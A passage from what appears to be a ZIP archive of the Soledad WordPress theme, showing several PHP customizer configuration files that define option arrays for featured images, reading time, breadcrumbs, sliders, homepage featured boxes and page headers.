			'unit' => 'px',
		),
	),
);
$options[] = array(
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Custom Aspect Ratio for Featured Image', 'soledad' ),
	'id'          => 'penci_general_featured_image_ratio',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'The aspect ratio of an element describes the proportional relationship between its width and height, for example, 3:2. The default aspect ratio for featured images type "Custom" is 3:2. This option applies to the "Custom" featured image type.', 'soledad' ),
);
$options[] = array(
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Custom Border Radius for Featured Images', 'soledad' ),
	'id'          => 'penci_image_border_radius',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'Enter the value you want for the border radius here. You can use either pixels or percentage. For example, 10px or 10%.', 'soledad' ),
);

$options[] = array(
	'label'    => __( 'Get Post Views Data From?', 'soledad' ),
	'id'       => 'penci_general_views_meta',
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''       => __('Default - from The Theme','soledad' ),
		'custom' => __('Custom Post Meta Field','soledad' ),
	),
);
$options[] = array(
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Post Views Meta Key', 'soledad' ),
	'id'          => 'penci_general_views_key',
	'sanitize'    => 'penci_sanitize_choices_field',
	'description' => __( 'Please enter the post views meta key you wish to use in order to display the number of post views. This option only applies when you have selected "Custom Post Meta Field" as the "Get Post Views Data From" option.', 'soledad' ),
	'active_callback' => [
		[
			'setting'  => 'penci_general_views_meta',
			'operator' => '==',
			'value'    => 'custom',
		]
	],
);
$options[] = array(
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Set A Default Reading Time Value', 'soledad' ),
	'id'          => 'penci_readtime_default',
	'description' => __( 'If you want to set a default value for the reading time, please enter it here. For example, 3 mins.', 'soledad' ),
);
$options[] = array(
	'type'        => 'soledad-fw-toggle',
	'label'       => __( 'Estimate Reading Time base Post Content?', 'soledad' ),
	'id'          => 'penci_readtime_auto',
	'description' => __( 'Please note that if you enable this option, any value set in "Set A Default Reading Time Value" will be ignored.', 'soledad' ),
);
$options[] = array(
	'type'        => 'soledad-fw-number',
	'label'       => __( 'Reading Time: Words Per Minute', 'soledad' ),
	'id'          => 'penci_readtime_wpm',
	'default'     => 200,
	'sanitize'    => 'absint',
	'description' => __( 'Please note that this option only applies when you have enabled "Estimate Reading Time based on Post Content".', 'soledad' ),
);
$options[] = array(
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'default'  => 'date',
	'label'    => __( 'Sort Posts By', 'soledad' ),
	'id'       => 'penci_general_post_orderby',
	'choices'  => array(
		'date'          => __('Published Date','soledad' ),
		'ID'            => __('Post ID','soledad' ),
		'modified'      => __('Modified Date','soledad' ),
		'title'         => __('Post Title','soledad' ),
		'rand'          => __('Random Posts','soledad' ),
		'comment_count' => __('Comment Count','soledad' ),
	),
);
$options[] = array(
	'sanitize' => 'penci_sanitize_choices_field',
	'default'  => 'DESC',
	'label'    => __( 'Select Posts Order', 'soledad' ),
	'id'       => 'penci_general_post_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __('Descending','soledad' ),
		'ASC'  => __('Ascending ','soledad' ),
	),
);
$options[] = array(
	'label'       => __( 'Use Outline Social Icons Instead of Filled Social Icons for Your Social Media?', 'soledad' ),
	'description' => __( 'You can refer to <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/outline-social.png" target="_blank">this image</a> to understand the difference between outline social icons and filled social icons. Please note that some icons may not be available in the outline style.', 'soledad' ),
	'id'          => 'penci_outline_social_icon',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'label' => __( 'Use Outline Social Icons for Social Sharing?', 'soledad' ),
	'id'    => 'penci_outline_social_share',
	'type'  => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Select Separator Icon Between Posts Datas', 'soledad' ),
	'description' => __( 'You can refer to <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/separator-pmeta.png" target="_blank">this image</a> to understand what the "Separator Icon Between Posts Data" is."', 'soledad' ),
	'id'          => 'penci_separator_post_meta',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''         => __('Default ( Vertical Line )','soledad' ),
		'horiline' => __('Horizontal Line','soledad' ),
		'circle'   => __('Circle Filled','soledad' ),
		'bcricle'  => __('Circle Bordered','soledad' ),
		'square'   => __('Square Filled','soledad' ),
		'bsquare'  => __('Square Bordered','soledad' ),
		'diamond'  => __('Diamond Square Filled','soledad' ),
		'bdiamond' => __('Diamond Square Bordered','soledad' ),
	),
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Style for Post Categories Listing', 'soledad' ),
	'description' => __( 'You can refer to <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/cat_design.png" target="_blank">this image</a> to understand the styles for post categories listing. You can change the general color for it via General > Colors > Filled Categories Styles.', 'soledad' ),
	'id'          => 'penci_catdesign',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''      => __('Default','soledad' ),
		'fill'  => __('Filled Rectangle','soledad' ),
		'fillr' => __('Filled Round','soledad' ),
		'fillc' => __('Filled Circle','soledad' ),
	),
);
$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Select Separator Icon Between Categories', 'soledad' ),
	'description' => __( 'You can refer to <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/separator-cat.png" target="_blank">this image</a>  to understand what the "Separator Icon Between Categories" is. Please note that this does not apply to the filled styles shown above.', 'soledad' ),
	'id'          => 'penci_separator_cat',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''         => __('Default ( Diamond Square Bordered )','soledad' ),
		'verline'  => __('Vertical Line','soledad' ),
		'horiline' => __('Horizontal Line','soledad' ),
		'circle'   => __('Circle Filled','soledad' ),
		'bcricle'  => __('Circle Bordered','soledad' ),
		'square'   => __('Square Filled','soledad' ),
		'bsquare'  => __('Square Bordered','soledad' ),
		'diamond'  => __('Diamond Square Filled','soledad' ),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Modified Date Replace with Published Date', 'soledad' ),
	'id'       => 'penci_show_modified_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Add "Published", "Updated" text before Post Date', 'soledad' ),
	'id'       => 'penci_addpre_date_text',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Date Format', 'soledad' ),
	'id'       => 'penci_date_format',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __('Default ( By Day, Month & Year )','soledad' ),
		'timeago' => __('Time Ago Format','soledad' ),
	),
);
$options[] = array(
	'default'  => 's9',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Style for Blocks Loading Ajax', 'soledad' ),
	'id'       => 'penci_block_lajax',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		's9' => __( 'Style 1','soledad' ),
		's2' => __( 'Style 2','soledad' ),
		's3' => __( 'Style 3','soledad' ),
		's4' => __( 'Style 4','soledad' ),
		's5' => __( 'Style 5','soledad' ),
		's6' => __( 'Style 6','soledad' ),
		's1' => __( 'Style 7','soledad' ),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Smooth Scroll', 'soledad' ),
	'id'       => 'penci_enable_smooth_scroll',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => __( 'Enable Page Navigation Numbers', 'soledad' ),
	'id'       => 'penci_page_navigation_numbers',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Page Navigation Numbers Alignment', 'soledad' ),
	'id'       => 'penci_page_navigation_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'align-left'   => __('Left','soledad' ),
		'align-right'  => __('Right','soledad' ),
		'align-center' => __('Center','soledad' ),
	),
	'default'  => 'align-left',
	'sanitize' => 'penci_sanitize_choices_field',
	'active_callback' => [
		[
			'setting'  => 'penci_page_navigation_numbers',
			'operator' => '==',
			'value'    => true,
		]
	],
);
$options[] = array(
	'label'       => __( 'Show Primary Category Only', 'soledad' ),
	'description' => __( 'If you are not select the Primary Category OR using the "Yoast SEO""Rank Math" plugin, the first category listed in the post categories will be displayed.', 'soledad' ),
	'id'          => 'penci_show_pricat_yoast_only',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'    => __( 'Show Primary Category at First ( When you display full categories )', 'soledad' ),
	'id'       => 'penci_show_pricat_first_yoast',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Get the Post Excerpt Length based on Number of Letters', 'soledad' ),
	'description' => __( 'This option can help fix problems with excerpt length in Chinese or Japanese languages.', 'soledad' ),
	'id'          => 'penci_excerptcharac',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Limit User Access Media Library', 'soledad' ),
	'description' => __( 'Users can only access the media files that they have uploaded.', 'soledad' ),
	'id'          => 'limit_access_media',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Utilize the Image Tag Instead of a Background image for Post Layouts', 'soledad' ),
	'id'          => 'penci_img_layouttag',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label'       => __( 'Synchronize user time for the penci_date shortcode and the Date/Time Header Builder element.', 'soledad' ),
	'id'          => 'penci_time_sync',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'label' => __( 'Breadcrumb Settings', 'soledad' ),
	'id'    => 'author_breadcrumb_heading_01',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Entire Site Breadcrumb', 'soledad' ),
	'id'       => 'penci_disable_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Breadcrumbs on Single Post Pages.', 'soledad' ),
	'id'       => 'penci_disable_posts_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Hidden Post Title on Breadcrumbs ', 'soledad' ),
	'id'       => 'penci_hide_post_title_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Breadcrumbs on Pages.', 'soledad' ),
	'id'       => 'penci_disable_pages_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Breadcrumbs on Archive Pages.', 'soledad' ),
	'id'       => 'penci_disable_archive_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'default'  => false,
	'label'    => __( 'Disable Breadcrumbs on Home Page.', 'soledad' ),
	'id'       => 'penci_disable_home_breadcrumb',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'label'    => __( 'Show Only Primary Category from "Yoast SEO" or "Rank Math" plugin for Breadcrumb', 'soledad' ),
	'id'       => 'enable_pri_cat_yoast_seo',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_disable_breadcrumb',
			'operator' => '!=',
			'value'    => true,
		]
	],
);
$options[] = array(
	'label' => __( 'Author Avatar Settings', 'soledad' ),
	'id'    => 'author_avatar_heading_01',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Meta Author Display', 'soledad' ),
	'id'       => 'penci_meta_author_display',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'author-name'        => __('Name','soledad' ),
		'author-avatar'      => __('Avatar','soledad' ),
		'author-name-avatar' => __('Name & Avatar','soledad' ),
	),
	'default'  => 'author-name',
	'sanitize' => 'penci_sanitize_choices_field',
);
$options[] = array(
	'type'     => 'soledad-fw-number',
	'label'    => __( 'Avatar Size', 'soledad' ),
	'id'       => 'penci_meta_author_aw',
	'default'  => 22,
	'sanitize' => 'absint',
);
$options[] = array(
	'type'     => 'soledad-fw-text',
	'label'    => __( 'Avatar Border Radius', 'soledad' ),
	'id'       => 'penci_meta_author_bd',
	'default'  => '10px',
	'sanitize' => 'sanitize_text_field',
);
$options[] = array(
	'label' => __( 'General Slider Options', 'soledad' ),
	'id'    => 'slider_option_heading_01',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'label'       => __( 'Carousel Slider Effect', 'soledad' ),
	'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
	'id'          => 'penci_carousel_slider_effect',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'default' => __('Default','soledad' ),
		'swing'   => __('Swing','soledad' ),
	),
	'default'     => 'swing',
	'sanitize'    => 'penci_sanitize_choices_field',
);
$options[] = array(
	'label'       => __( 'General Slider Effect', 'soledad' ),
	'id'          => 'penci_single_slider_effect',
	'description' => __( 'Some sliders do not support all effects listed below.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'fade'      => __('Fade','soledad' ),
		'slide'     => __('Slide','soledad' ),
		'coverflow' => __('Coverflow','soledad' ),
		'flip'      => __('Flip','soledad' ),
		'cards'     => __('Cards','soledad' ),
		'creative'  => __('Creative','soledad' ),
	),
	'default'     => 'creative',
	'sanitize'    => 'penci_sanitize_choices_field',
);
$options[] = array(
	'label' => __( 'Sponsored Posts Options', 'soledad' ),
	'id'    => 'slider_option_heading_09',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Show Prefix Text Before Post Title', 'soledad' ),
	'id'       => 'penci_sponsored_prefix',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
);
return $options;
PK     N\M{    P  inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Home Featured Boxes', 'soledad' ),
	'id'       => 'penci_home_hide_boxes',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Home Featured Boxes Style 2', 'soledad' ),
	'id'       => 'penci_home_box_style_2',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Home Featured Boxes Style 3', 'soledad' ),
	'id'       => 'penci_home_box_style_3',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'normal',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Font Weight for Text on Featured Boxes', 'soledad' ),
	'id'       => 'penci_home_box_weight',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'bold'   => __('Bold','soledad' ),
		'normal' => __('Normal','soledad' ),
	),
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Home Featured Boxes Columns', 'soledad' ),
	'id'       => 'penci_home_box_column',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'3' => __('3 Columns','soledad' ),
		'4' => __('4 Columns','soledad' ),
	),
);
$options[] = array(
	'default'  => 'horizontal',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Home Featured Boxes Size Type', 'soledad' ),
	'id'       => 'penci_home_box_type',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
		'square'     => esc_html__( 'Square Size', 'soledad' ),
		'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Open Home Featured Boxes in New Tab', 'soledad' ),
	'id'       => 'penci_home_boxes_new_tab',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 1st Image', 'soledad' ),
	'id'       => 'penci_home_box_img1',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 1st Text', 'soledad' ),
	'id'       => 'penci_home_box_text1',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 1st URL', 'soledad' ),
	'id'       => 'penci_home_box_url1',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 2nd Image', 'soledad' ),
	'id'       => 'penci_home_box_img2',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 2nd Text', 'soledad' ),
	'id'       => 'penci_home_box_text2',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 2nd URL', 'soledad' ),
	'id'       => 'penci_home_box_url2',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 3rd Image', 'soledad' ),
	'id'       => 'penci_home_box_img3',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 3rd Text', 'soledad' ),
	'id'       => 'penci_home_box_text3',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 3rd URL', 'soledad' ),
	'id'       => 'penci_home_box_url3',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 4th Image', 'soledad' ),
	'id'       => 'penci_home_box_img4',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 4th Text', 'soledad' ),
	'id'       => 'penci_home_box_text4',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 4th URL', 'soledad' ),
	'id'       => 'penci_home_box_url4',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 5th Image', 'soledad' ),
	'id'       => 'penci_home_box_img5',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 5th Text', 'soledad' ),
	'id'       => 'penci_home_box_text5',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 5th URL', 'soledad' ),
	'id'       => 'penci_home_box_url5',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 6th Image', 'soledad' ),
	'id'       => 'penci_home_box_img6',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 6th Text', 'soledad' ),
	'id'       => 'penci_home_box_text6',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 6th URL', 'soledad' ),
	'id'       => 'penci_home_box_url6',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 7th Image', 'soledad' ),
	'id'       => 'penci_home_box_img7',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 7th Text', 'soledad' ),
	'id'       => 'penci_home_box_text7',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 7th URL', 'soledad' ),
	'id'       => 'penci_home_box_url7',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 8th Image', 'soledad' ),
	'id'       => 'penci_home_box_img8',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 8th Text', 'soledad' ),
	'id'       => 'penci_home_box_text8',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 8th URL', 'soledad' ),
	'id'       => 'penci_home_box_url8',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Homepage Featured Box 9th Image', 'soledad' ),
	'id'       => 'penci_home_box_img9',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 9th Text', 'soledad' ),
	'id'       => 'penci_home_box_text9',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Homepage Featured Box 9th URL', 'soledad' ),
	'id'       => 'penci_home_box_url9',
	'type'     => 'soledad-fw-text',
);

return $options;
PK     N\$U    S  inc/customizer/config/sections/pencidesign_new_section_helpful_articles_section.phpnu [        <?php
$options = [];
$options[] = array(
	'id'       => 'penci_ha_enabled_post_types',
	'default'  => '',
	'sanitize' => 'penci_sanitize_multiple_checkbox',
	'label'    => __( 'Enable Support in Post Types', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => call_user_func( function () {
		$exclude    = array(
			'attachment',
			'revision',
			'nav_menu_item',
			'safecss',
			'penci-block',
			'penci_builder',
			'custom-post-template',
			'archive-template',
		);
		$registered = get_post_types( [ 'show_in_nav_menus' => true ], 'objects' );
		$types      = array();


		foreach ( $registered as $post ) {

			if ( in_array( $post->name, $exclude ) ) {

				continue;
			}

			$types[ $post->name ] = $post->label;
		}

		return $types;
	} )
);

$texts = [
    'yes' => __( 'Yes', 'soledad' ),
    'no'  => __( 'No', 'soledad' ),
    'question'  => __( 'Was this article helpful?', 'soledad' ),
    'thank'  => __( 'Thanks for your feedback!', 'soledad' ),
];

foreach ( $texts as $key => $value ) {
    $options[] = array(
    'label'    => __( 'Text: ' . $value, 'soledad' ),
    'id'       => 'penci_ha_' . $key . '_text',
    'type'     => 'soledad-fw-text',
    'default'  => $value,
    'sanitize' => 'penci_sanitize_tex_field'
    );
}

return $options;PK     N\t  t  E  inc/customizer/config/sections/penci_section_spage_header_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Enable Page Header for Pages', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_pheader_show',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Background Image for Page Header', 'soledad' ),
	'id'       => 'penci_pheader_bgimg',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Line Below Title', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_pheader_hideline',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Hide Breadcrumbs', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_pheader_hidebead',
);
$options[] = array(
	'default'  => 'center',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Text Align', 'soledad' ),
	'id'       => 'penci_pheader_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'By default, container width for page header will follow the container width for header', 'soledad' ),
	'id'       => 'penci_pheader_width',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_width',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Padding top', 'soledad' ),
	'id'       => 'penci_pheader_ptop',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_ptop',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Padding Bottom', 'soledad' ),
	'id'       => 'penci_pheader_pbottom',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_pbottom',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => esc_html__( 'Turn Off Uppercase for Title', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_pheader_turn_offup',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Padding Bottom for Page Title', 'soledad' ),
	'id'       => 'penci_pheader_title_pbottom',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_title_pbottom',
		'mobile' => 'penci_pheader_title_mbottom',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Margin Bottom for Page Title', 'soledad' ),
	'id'       => 'penci_pheader_title_mbottom',
	'type'     => 'soledad-fw-hidden',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Page Title', 'soledad' ),
	'id'       => 'penci_pheader_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_title_fsize',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '600',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Font Weight For Title', 'soledad' ),
	'id'       => 'penci_pheader_fwtitle',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Breadcrumb on Page Header', 'soledad' ),
	'id'       => 'penci_pheader_bread_fsize',
	'type'     => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_pheader_bread_fsize',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
